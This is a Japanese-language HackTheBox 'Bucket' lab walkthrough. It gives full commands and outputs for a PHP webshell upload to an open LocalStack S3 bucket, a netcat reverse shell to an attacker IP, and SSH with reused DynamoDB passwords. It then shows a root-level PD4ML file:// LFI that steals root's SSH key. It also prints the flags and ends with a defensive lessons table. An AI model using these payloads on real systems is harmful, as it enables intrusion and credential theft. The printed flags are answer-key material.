HackTheBox: Bucket — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP)
→
22(SSH)/80(HTTP)
bucket.htb / s3.bucket.htb
LocalStack S3公開バケット
→
LocalStack S3公開バケット
PHP Webシェルアップロード
認証なし書込可能
→
認証なし書込可能
www-data RCE
user.txt ✓
→
user.txt ✓
DynamoDB users漏洩
パスワード使い回し→roy
→
パスワード使い回し→roy
root所有 mod_itk アプリ
127.0.0.1:8000
→
127.0.0.1:8000
PD4ML file:// 添付LFI
毎分リセットとの競合を回避
→
毎分リセットとの競合を回避
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.70.0
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
BASH
nmap -sV -sC -p 22,80 10.129.70.0
RESULT
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4
80/tcp open http Apache httpd 2.4.41 (Ubuntu)
仮想ホストへのリダイレクトを確認
BASH
curl -s -i http://10.129.70.0/
RESULT
HTTP/1.1 302 Found
Location: http://bucket.htb/
BASH
echo "10.129.70.0 bucket.htb s3.bucket.htb" | sudo tee -a /etc/hosts
ℹ️
HTMLソース中の広告バナー画像タグを確認すると
src="http://s3.bucket.htb/adserver/..."
という参照があり、S3互換のサブドメインが存在することが判明。両ホスト名を /etc/hosts
に事前登録しておく。
PHASE 2
LocalStack S3 公開バケットの発見
AWS CLI にダミー認証情報を設定
BASH
aws configure set aws_access_key_id test aws configure set aws_secret_access_key test aws configure set region us-east-1
ℹ️
LocalStack(AWSサービス群をローカルでエミュレートするツール)は実際の
AWS認証を検証しないため、値さえ設定されていれば何でもよい(
test/test)。
バケット一覧の取得と書込確認
BASH
aws --endpoint-url http://s3.bucket.htb s3 ls
RESULT
2026-09-27 11:34:07 adserver
🚨
重大発見:
adserver バケットが認証なしで一覧取得でき、
後述の通り書込みも可能。広告バナー配信用に使われているこのバケットの
中身は Apache のドキュメントルート経由でそのまま公開・実行される構成になっている。
PHASE 3
PHP Webシェルアップロード → RCE & user.txt
悪性PHPファイルをS3バケットへアップロード
BASH (shell.php)
<?php if(isset($_REQUEST['cmd'])){echo '<pre>';system($_REQUEST['cmd']);echo '</pre>';} ?>
BASH
aws --endpoint-url http://s3.bucket.htb s3 cp shell.php s3://adserver/shell.php
RESULT
upload: ./shell.php to s3://adserver/shell.php
Webシェル疎通確認(S3→Webサーバー間の反映待ち)
BASH
curl -s http://bucket.htb/shell.php?cmd=id
RESULT (1〜4回目)
404 Not Found
RESULT (5回目)
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>
⚠️
アップロード直後は数秒間
404 Not Found が返る(S3バケットの内容が
実際のWebサーバードキュメントルートへ同期されるまでのタイムラグ)。1回失敗しても
すぐに諦めず、数秒間隔で複数回リトライすること。
リバースシェルへ昇格
BASH
# リスナー nc -lnvp 4444 # トリガー curl -s -G --data-urlencode \ "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.200 4444 >/tmp/f" \ http://bucket.htb/shell.php
RESULT
connect to [10.10.15.200] from (UNKNOWN) [10.129.70.0] 46446 $ whoami www-data
DynamoDBの資格情報漏洩を発見
BASH
ls /home aws configure set aws_access_key_id test aws configure set aws_secret_access_key test aws configure set region us-east-1 aws --endpoint-url=http://localhost:4566 dynamodb list-tables aws --endpoint-url=http://localhost:4566 dynamodb scan --table-name users
RESULT
/home 候補: roy {"TableNames": ["users"]} { "Items": [ {"password": {"S": "Management@#1@#"}, "username": {"S": "Mgmt"}}, {"password": {"S": "Welcome123!"}, "username": {"S": "Cloudadm"}}, {"password": {"S": "n2vM-<_K_Q:.Aa2"}, "username": {"S": "Sysadm"}} ] }
ℹ️
localhost:4566 はLocalStackの統合エンドポイント(S3/DynamoDB等すべてを
1ポートで提供)で、www-dataからも認証不要でアクセスできる。usersテーブルに
3組のユーザー名/パスワードが平文で保存されている。
パスワード使い回しでSSHログイン → user.txt
BASH
# DynamoDBのユーザー名(Sysadm等)ではなく、/home実在ユーザー(roy)に対して # 3組のパスワードを総当たり for pw in 'Management@#1@#' 'Welcome123!' 'n2vM-<_K_Q:.Aa2'; do sshpass -p "$pw" ssh roy@10.129.70.0 id done
RESULT
Management@#1@# → Permission denied
Welcome123! → Permission denied
n2vM-<_K_Q:.Aa2 → uid=1000(roy) gid=1000(roy) groups=1000(roy),1001(sysadm)
✅
パスワード使い回し成功! DynamoDBに保存されたユーザー名(Sysadm)は
SSHログイン用のOSアカウント名とは無関係だが、パスワードそのものは
実在のOSユーザー
roy に対して有効だった。
BASH
ssh roy@10.129.70.0 "cat /home/roy/user.txt"
RESULT
b21ae6169d1bbd9fdd506f47d9477d42
user.txt — roy@bucket
b21ae6169d1bbd9fdd506f47d9477d42
PHASE 4
権限昇格の下調べ — root専用の内部Webアプリ
roy専用ACLが付与されたroot所有ディレクトリを発見
BASH
getfacl /var/www/bucket-app
RESULT
# owner: root / group: root
user::rwx
user:roy:r-x
group::r-x
other::---
ℹ️
/var/www/bucket-app は root 所有だが、roy 専用のACLで読取・実行権限が
明示的に付与されている。中身を覗ける = そこで動くアプリの仕組みを解析できる。
mod_itk による root権限のローカルWebアプリを発見
BASH
cat /etc/apache2/sites-available/000-default.conf
RESULT (抜粋)
<VirtualHost 127.0.0.1:8000>
<IfModule mpm_itk_module>
AssignUserId root root
</IfModule>
DocumentRoot /var/www/bucket-app
</VirtualHost>
🚨
重大発見: Apache の
mod_itk モジュールにより、
127.0.0.1:8000(ローカル限定)で動くこのバーチャルホストだけは
root権限でPHPが実行される。
アプリのソースコードを解析
BASH
cat /var/www/bucket-app/index.php
RESULT (要旨)
if ($_POST["action"] === "get_alerts") {
$client = new DynamoDbClient([... 'endpoint' => 'http://localhost:4566']);
$iterator = $client->getIterator('Scan', [
'TableName' => 'alerts',
'FilterExpression' => "title = :title",
'ExpressionAttributeValues' => [":title" => ["S" => "Ransomware"]],
]);
foreach ($iterator as $item) {
$name = rand(1,10000).'.html';
file_put_contents('files/'.$name, $item["data"]);
}
passthru("java ... -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
}
🚨
title=Ransomware のDynamoDBアイテムの data(HTML文字列)を
ファイルへ書き出し、PD4ML(HTML→PDF変換ライブラリ)で root権限
でPDF変換する。PD4MLには <pd4ml:attachment src="file://..."> という
任意ローカルファイル添付タグがあり、これを悪用すればLFIが成立する。
PHASE 5
落とし穴 — DynamoDBを毎分リセットするsystemdタイマー
最初の試行がHTTP 500で失敗
BASH
# alertsテーブルを自作成(初期状態には存在しない) aws --endpoint-url=http://localhost:4566 dynamodb create-table \ --table-name alerts \ --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S \ --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 # 悪性アイテムを投入 aws --endpoint-url=http://localhost:4566 dynamodb put-item \ --table-name alerts --item file:///tmp/item.json # トリガー curl -s http://127.0.0.1:8000/index.php -d 'action=get_alerts' -v
RESULT
< HTTP/1.0 500 Internal Server Error
< Content-Length: 0
⚠️
create-table・put-item はいずれもエラーなく成功していたのに、直後の
トリガーだけが原因不明の500エラーになる、という不可解な現象が発生した。
原因調査 — alertsテーブルが消えている
BASH
aws --endpoint-url=http://localhost:4566 dynamodb list-tables
RESULT
{"TableNames": ["users"]} ← alertsが消えている!
BASH
systemctl list-timers
RESULT
NEXT ... LEFT LAST ... PASSED UNIT ACTIVATES
... 53s left ... 5s ago minute-timer.timer minute-timer.target
BASH
cat /etc/systemd/system/minute-timer.timer cat /etc/systemd/system/restore.service
RESULT
[Timer] OnCalendar=*:0/1 # 毎分 :00 に発火 [Unit] Description=Restore dynamodb and s3 [Service] ExecStart=/root/restore.sh
🚨
真の原因判明:
/root/restore.sh が毎分ちょうど0秒に
systemdタイマーで発火し、DynamoDB(とS3)を初期状態へ強制リセットする。
create-table〜put-item〜curlトリガーの間に分境界(:00)を跨ぐと、
alertsテーブルごと消え去り、PHP側は
ResourceNotFoundExceptionで未捕捉例外→HTTP 500になる。
対策 — リセット直後に同期して一括実行
NOTE
対策は2つ:
1. 各SSHコマンドを分離せず、create-table + put-item + curlトリガー +
PDF取得(base64)を「1回のSSHセッション内」で&&チェーンして実行し、
処理全体の所要時間を最小化する(数秒程度に短縮できる)。
2. さらに安全のため、リモートの現在時刻を取得し、次の分境界(:00)の
直後まで待ってから一括コマンドを実行することで、実行開始から
次のリセットまでほぼ丸々1分弱の猶予を確保する。
3. それでも運悪く失敗した場合に備え、複数回リトライする設計にする。
PHASE 6
PD4ML file:// 添付LFI → root.txt
悪性DynamoDBアイテムの構築
BASH (item.json)
{
"title": {"S": "Ransomware"},
"data": {"S": "<html><pd4ml:attachment src=\"file:///root/.ssh/id_rsa\" description=\"test\" icon=\"Paperclip\"/></html>"}
}
ℹ️
title=Ransomware は index.php のFilterExpressionが要求する固定値。
data に仕込んだ pd4ml:attachment タグの src に
読み出したい任意ファイルのパスを指定する。
分境界に同期してから一括実行
BASH
# リモート時刻を取得し、次の :00 直後まで待機
epoch=$(ssh roy@10.129.70.0 "date +%s")
wait=$(( 60 - (epoch % 60) + 2 ))
sleep "$wait"
# 1回のSSHセッションで一括実行(create-table失敗は無視して継続)
ssh roy@10.129.70.0 '
export HOME=/tmp/.aws_bucket &&
aws --endpoint-url=http://localhost:4566 dynamodb create-table \
--table-name alerts \
--attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S \
--key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 >/dev/null 2>&1;
aws --endpoint-url=http://localhost:4566 dynamodb put-item \
--table-name alerts --item file:///tmp/.aws_bucket_item.json >/dev/null 2>&1 &&
curl -s http://127.0.0.1:8000/index.php -d "action=get_alerts" >/dev/null 2>&1 &&
base64 -w0 /var/www/bucket-app/files/result.pdf
' > result_b64.txt
RESULT
(base64エンコードされたPDFデータが出力される。所要時間は分境界からわずか約8秒)
✅
成功! 分境界直後に同期して一括実行することで、
restore.sh による毎分リセットとの競合を回避できた。
PDFをデコードし、pdfdetachで秘密鍵を抽出
BASH
base64 -d result_b64.txt > result.pdf pdfdetach -list result.pdf pdfdetach -savefile id_rsa -o root_id_rsa result.pdf chmod 600 root_id_rsa
RESULT
1 embedded files 1: id_rsa
ℹ️
pdfdetach は poppler-utils 付属のPDF添付ファイル抽出ツール。
PD4MLが生成したPDFの中に、/root/.ssh/id_rsaの中身がそのまま
添付ファイルとして埋め込まれている。
秘密鍵でSSHログインしroot.txt取得
BASH
ssh -i root_id_rsa root@10.129.70.0 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
b91786d2656d079e501aa3c3ef2876ca
root.txt — /root/root.txt
b91786d2656d079e501aa3c3ef2876ca
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — roy@bucket
b21ae6169d1bbd9fdd506f47d9477d42
root.txt — /root/root.txt
b91786d2656d079e501aa3c3ef2876ca
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| LocalStack S3 公開バケット | adserverバケット (S3互換ストレージ) |
認証なし任意ファイル書込 → RCE | Critical | PHP Webシェルをアップロードし、Webサーバー経由でそのまま実行 |
| DynamoDB平文資格情報 + パスワード使い回し | usersテーブル |
横展開(www-data → roy) | High | DynamoDBの平文パスワードが実在OSユーザーのログインパスワードと同一 |
| PD4ML pd4ml:attachment file:// LFI | root権限で動くbucket-appのPDF変換処理 | 任意ローカルファイル読取(root権限) | Critical | DynamoDBアイテム経由でHTMLペイロードを注入しPDF添付として秘密鍵を抜き出す |
| 毎分DynamoDBリセットとのタイミング競合 | /root/restore.sh (systemd minute-timer) |
攻撃成功率の低下(環境要因) | Medium | 攻撃を1回のSSHセッションに凝縮し分境界直後に同期することで回避 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + vhostリダイレクト追跡 | bucket.htb / s3.bucket.htb発見 |
| 2 | S3発見 | aws CLI + ダミー認証情報 | adserverバケット(書込可能) |
| 3 | エクスプロイト | PHP Webシェルアップロード + DynamoDB scan | user.txt(roy)、資格情報3組 |
| 4 | 権限調査 | getfacl + Apache mod_itk設定確認 + ソース解析 | root所有アプリの内部ロジック判明 |
| 5 | トラブルシューティング | list-tables + systemctl list-timers | 毎分リセットの発見と対策設計 |
| 6 | 権限昇格 | PD4ML file:// LFI + pdfdetach | root.txt、rootのSSH秘密鍵 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| S3互換バケットが認証なしで書込可能 | LocalStack/実AWS問わず、バケットポリシーで書込操作を許可されたIAMプリンシパルのみに制限する。 |
| アップロードされたファイルがそのままWebサーバーで実行可能 | アップロード領域と実行可能な領域を分離する。アップロードディレクトリではPHP等のスクリプト実行を無効化する。 |
| DynamoDBに平文パスワードを保存し、しかも別のOSアカウントで使い回している | パスワードは常にハッシュ化して保存し、システム間でのパスワード使い回しを禁止する運用ルールを徹底する。 |
| PD4ML(サードパーティHTML→PDF変換ライブラリ)が任意ローカルファイル添付を許可 | 信頼できない入力をHTML→PDF変換にかける前に、危険なタグ(pd4ml:attachment等)をサニタイズ・無効化する。変換処理はサンドボックス化されたコンテナ内で実行する。 |
| root権限の内部アプリが127.0.0.1限定とはいえ、非rootユーザーから読み取り可能なソースを持つ | root専用アプリのソースコードは最小権限のユーザーからも不可視にする(ACLの読み取り権限も含め見直す)。 |

